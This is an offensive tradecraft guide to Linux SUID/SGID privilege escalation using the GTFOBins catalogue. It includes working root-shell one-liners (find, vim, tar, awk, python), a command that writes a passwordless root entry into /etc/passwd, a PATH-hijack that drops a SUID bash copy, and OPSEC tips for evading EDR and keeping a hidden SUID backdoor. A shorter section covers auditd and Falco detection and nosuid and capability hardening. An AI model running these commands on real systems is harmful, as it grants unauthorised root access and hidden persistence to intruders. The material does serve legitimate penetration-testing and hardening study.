Linux SUID/SGID and GTFOBins methodology
TL;DR: Any executable with the setuid bit and a uid-0 owner runs as root regardless of who invoked it; if the binary can read files, write files, exec a shell, or relay an argument to a sub-process, it’s a one-shot privesc. GTFOBins is the canonical catalogue — the methodology is enumerate → match → exploit → cleanup.
What it is
Linux file permissions include the setuid (s in the user-execute slot, mode 04000) and setgid (mode 02000) bits. When the kernel exec()s a setuid binary owned by root, the resulting process runs with effective UID 0 even though the real UID is the unprivileged caller. The binary inherits the caller’s environment minus a small dynamic-loader sanitisation pass — but most argument handling, file I/O, and sub-process behaviour is preserved. If the binary exposes any primitive that touches a privileged resource (read /etc/shadow, write /etc/passwd, exec /bin/sh, append to a log read by root cron), the caller inherits root power for that operation.
Preconditions / where it applies
- Local shell as an unprivileged user.
- A SUID binary owned by root (
-rwsr-xr-x root root) that GTFOBins lists undersuid, or a custom binary that callssystem(),execve(), orpopen()on a controllable string. - For SGID variants: the binary’s effective GID grants access to a target file or device (e.g.,
disk,shadow,dockergroup).
Tradecraft
Step 1 — Enumerate. Two parallel searches:
1
2
3
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
find / -perm -4000 -uid 0 2>/dev/null -printf '%p %u\n'
linpeas.sh automates plus correlates against its built-in GTFOBins list. pspy running in parallel catches root cron jobs that may be the actual privileged target.
Step 2 — Match against GTFOBins. Visit gtfobins.github.io/#+suid and grep the discovered binaries. Useful patterns from the catalogue:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# `find` — direct shell
find . -exec /bin/sh -p \; -quit
# `vim` / `nano` — write `/etc/passwd` or spawn shell
vim -c ':!/bin/sh -p'
# `tar` — `--checkpoint-action=exec`
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# `cp` — overwrite `/etc/passwd` with attacker-crafted entry
echo 'r00t::0:0::/root:/bin/bash' >> /tmp/p && cp -f /tmp/p /etc/passwd
# `awk` — `system()`
awk 'BEGIN {system("/bin/sh -p")}'
The -p flag on sh/bash preserves effective UID — without it, modern bash drops privileges immediately.
Step 3 — Bash-drop sidestep. When the SUID program ultimately spawns /bin/sh, dropping privileges defeats you. Use one of:
bash -p(literal-parg makes bash retain euid).python -c 'import os;os.setuid(0);os.system("/bin/bash")'from a SUID Python.- A statically-linked
busyboxSUID binary —busybox shdoes not drop. cp /bin/bash /tmp/r && chmod +s /tmp/ronly works if you already had root once.
Step 4 — Custom-binary review. Strings the binary; look for system(, popen(, execlp( calls with attacker-controllable args. PATH-hijack the unqualified command:
1
2
3
4
strings /usr/local/bin/backup | grep -E 'system|popen|execl'
# if backup calls "tar ..." via system():
echo 'cp /bin/bash /tmp/x;chmod +s /tmp/x' > /tmp/tar
chmod +x /tmp/tar; PATH=/tmp:$PATH /usr/local/bin/backup
Step 5 — SGID specifics. SGID shadow lets you read /etc/shadow → offline crack. SGID disk lets you read raw devices → carve files. SGID docker is effectively root (mount host root inside a container).
Detection and defence
auditdrule onexecvewitharch=b64 -F euid=0 -F auid!=0flags every SUID invocation. Whitelist legitimate ones.- Falco rule
Run shell untrustedplusSetuid or Setgid bit set via chmod. - Defence: mount
/home,/tmp, and removable media withnosuid. Replace SUID withsetcaponly for the specific capability needed (cap_net_raw+epfor ping, not full root). - Inventory SUID quarterly:
find / -perm -4000 -newer /var/log/lastlogcatches new SUIDs since last audit. - For custom binaries:
pkexec-style privilege boundaries via polkit, orsudowith tightCmnd_Alias.
OPSEC pitfalls
- Many EDRs (Sandfly, Wazuh) alert on
unshare,nsenter, orsetuid()calls from non-root parents — write the post-ex actions inline, don’t pop a shell to a callback. last,wtmp, andbtmplog shell sessions; the SUID binary itself often logs via PAM.- Modifying
/etc/passwdis loud — prefer a private SUID drop (cp /bin/bash /tmp/.r && chmod 4755 /tmp/.r) for future re-entry without re-running the primitive.
References
- GTFOBins — canonical catalogue, filter by
#+suidor#+sudo - HackTricks — Linux SUID — practitioner walkthrough
- linPEAS — enumeration with built-in GTFOBins correlation
- man capabilities(7) — replacement model for SUID
See also: sudo-misconfig-exploitation, linux-capabilities-abuse, polkit-pkexec-privesc, ld-preload-and-loaders